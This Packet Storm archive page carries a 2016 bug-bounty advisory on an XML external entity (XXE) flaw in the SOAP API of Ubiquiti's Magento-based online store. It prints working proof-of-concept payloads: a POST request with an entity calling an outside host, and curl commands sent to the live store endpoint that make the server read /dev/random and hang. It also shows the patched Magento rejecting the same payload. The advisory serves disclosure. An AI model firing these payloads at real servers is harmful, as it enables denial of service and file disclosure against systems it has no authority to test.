what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ubiquiti Networks XXE Injection

Ubiquiti Networks XXE Injection
Posted Apr 25, 2016
Authored by Hadji Samir, Vulnerability Laboratory | Site vulnerability-lab.com

The Ubiquiti Networks web application suffered from an XXE injection vulnerability.

tags | exploit, web, xxe
SHA-256 | d645f5c22a117c00797ef6ddd30973f63867c5fa0aab82f98789a422cbf5aa34

Ubiquiti Networks XXE Injection

Change Mirror Download
Document Title:
===============
UBNT Bug Bounty #2 - XML External Entity Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1466


Release Date:
=============
2016-04-14


Vulnerability Laboratory ID (VL-ID):
====================================
1466


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
Ubiquiti Networks is an American technology company started in 2005. Based in San Jose, California they are a manufacturer of
wireless products whose primary focus is on under-served and emerging markets.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Ubiquiti_Networks )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a XEE Vulnerability in the official Ubnt online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-04-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ubiquiti Network
Product: Ubnt Store - Web Application (Online-Service) 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An XML external entities injection vulnerability exists on the soap server hosted on https://store.ubnt.com/index.php/api/ magento script.
The attack allows an attacker to open local files (although perhaps not return the data, see below), leading at best to a DoS.


Proof of Concept (PoC):
=======================
The XEE Vulnerability can be exploited by remote attackers without privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Often this attack can be used to extract files from the server (such as /etc/passwd), or even directly execute code if the PHP
expect module is installed, however in this case exploitation isn't as straight forward as the issue occurs in the XML pre-check
code and no user input is returned. That's not to say there isn't a away to exfiltrate data,

--- PoC Session Logs [POST] ---
POST /index.php/api/ HTTP/1.1
Host: store.ubnt.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211


PoC:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "https://zero-way.net/?xxe">]>
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>

</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

PoC. Reply
<?xml version="1.0" encoding="UTF-8"?>
<env:Envelope xmlns:env="https://www.w3.org/2003/05/soap-envelope">env:Bodyenv:Faultenv:Codeenv:Valueenv:Receiver/env:Value/env:Codeenv:Reasonenv:TextDTD
are not supported by SOAP/env:Text/env:Reason/env:Fault/env:Body/env:Envelope

You'll get the error "DTD are not supported by SOAP", but the attack will have succeeded.

cURL proof-of-concept which makes the script open /dev/random and hang:
curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' https://store.ubnt.com/index.php/api/

curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' https://store.ubnt.com/index.php/api/soap/

For more information on XXE vulnerabilities in PHP in particular, see:
https://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html#xml-external-entity-injection

Hadji Samir

i installed the last version ver 1.9.1.0 - magento ,they fixed the bug xxe/xee:
disabled to prevent XXE/XEE attacks

Poc
curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' https://localhost/magento/index.php/api/
HTTP/1.1 500 Internal Service Error
Date: Sat, 21 Mar 2015 22:00:23 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb7u3
Content-Length: 324
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="https://schemas.xmlsoap.org/soap/envelope/">SOAP-ENV:BodySOAP-ENV:Fault<faultcode>Sender</faultcode><faultstring>Detected use of ENTITY in XML, disabled to prevent XXE/XEE attacks</faultstring>/SOAP-ENV:Fault/SOAP-ENV:Body/SOAP-ENV:Envelope


Security Risk:
==============
The security risk of the xee vulnerability in the soap server is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir (samir@evolution-sec.com) [https://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™



--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close